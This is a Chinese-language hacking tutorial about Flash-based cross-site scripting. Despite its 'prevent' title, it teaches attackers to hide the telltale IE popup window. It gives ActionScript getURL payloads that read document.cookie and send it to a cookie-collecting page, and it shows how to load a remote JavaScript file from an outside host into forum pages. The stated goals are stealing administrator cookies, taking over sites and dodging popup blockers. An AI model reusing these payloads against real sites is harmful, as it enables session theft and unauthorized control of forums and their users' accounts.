如何防止Flash跨站攻击弹出IE窗口

作者:五月 整理
前些天一直忙着学习WIN32汇编 , 一直懒得写文章 , 这些天来好像Flash跨站攻击闹的挺凶的 , 但在实施Flash跨站攻击时的那个弹出的IE窗口很容易引起别人的怀疑 , 而使得Flash跨站攻击失败 , 这的确让人多少有点头疼 , 大家是不是也一直在寻找实施Flash跨站攻击时不弹出IE窗口的方法来隐藏自己的攻击行为呢?下面大家和我一起来解决这个不大不小的问题 , 让Flash跨站攻击更完美吧!
一般来说大家在进行Flash跨站攻击时都是自己做一个Flash动画 , 并在第一帧中加入用于跳转到其他URL的AtionScript脚本函数 , 如下:
getURL("JavaScript:window.open("http://用于收集Cookie的网页地址?" document.cookie)","_self")
然后把这个Flash动画置于论坛中的签名、贴子或短信消息中 , 用来获得管理员或用户的Cookie , 从而得到管理权限 , 进一步伺机控制整个站点,最终达到自己的目的 。我们可以看到在整个跨站攻击中最重要的就是这个AtionScript脚本啦!也就是这个脚本中用到的代码打开了一个我们又爱又恨的窗口 , 所以我们也只能从改造这个脚本代码来实现隐藏或者是去掉弹出的IE窗口 , 除此外别无它法!
我们先分析一下上面的AtionScript脚本 , 它使用AtionScript脚本函数"getURL"跳转到一个使用JavaScript协议的URL(JavaScript协议后面就是我们非常熟悉的JavaScript脚本代码) , 在JavaScript中使用document.cookie的到Cookie , 并把Cookie和一个用于收集Cookie的网页地址连成一个http协议的URL地址 , 最后使用window.open打开合成的URL地址 , 从而把Cookie用GET方式发送到用于收集Cookie的网页 , 并记录下来 。
通过上面的分析我们进一步了解那个弹出的IE窗口是由于JavaScript协议中的代码window.open所生成的 , 相信大家都知道window.open的第二个参数用来指定打开的窗口的名字 , 其通用名称有"_media (IE6.0 在浏览器左边的媒体面板内打开)"、"_blank (在新窗口中打开)"、"_parent (在当前框架的父框架内打开 。假如当前框架无父框架 , 此参数值等同于 _self)"、"_search (IE5.0 在浏览器左边的搜索面板内打开)"、"_self(在当前窗口中打开 , 覆盖当前文档)"、"_top (在所有框架之外的最顶层窗口中打开。假如当前窗口无框架结构 , 此参数值等同于 _self )"等几种 , 如果我们以"_search"来打开窗口 , 不是就没有了弹出的IE窗口了吗?AtionScript脚本改为:
getURL("JavaScript:window.open("http://用于收集Cookie的网页地址?" document.cookie,"_search")","_self")
当然 , 这样做会打开搜索面板 , 也会引起怀疑 , 但却可以躲过那些关闭弹出窗口软件的追杀!姑且也算一种方法吧!
如果仅仅是上面所说的 , 相信不少读者要把我 。。。。。。
看到这里聪明的你是不是想到了点解决的思路?对!既然支持JavaScript啦 , 还有啥东东会不能解决呢?JavaScript真的是好处多多呀!
如果你曾看了我的那篇"打造一个完美的IE网页木马"的文章 , 并且你对其中的代码深深理解的话 , 你可以自己先去想象一下啦!呵呵......
在那篇文章中有下面这样一段代码:
jsurl="http://www.godog.y365.com/wodemuma/icyfox.js".replace(///g,"//");
window.open("file:javascript:document.all.tags("SCRIPT")[0].src="" jsurl "";eval();","icyfoxlovelace");
使用了javascript协议把自己网站上的一个js代码文件插入到了本地文件中 , 同样的道理我们也可以用它把一个js代码文件插入到进行跨站攻击的论坛网页中 , 相应的AtionScript脚本改为:
getURL("JavaScript:document.all.tags("SCRIPT")[0].src="http://www.godog.y365.com/wodemuma/icyfox.js";eval();","_self")
其中icyfox.js得内容如下:
cookieurl="http://用于收集Cookie的网页地址?cookie=" escape(document.cookie);

推荐阅读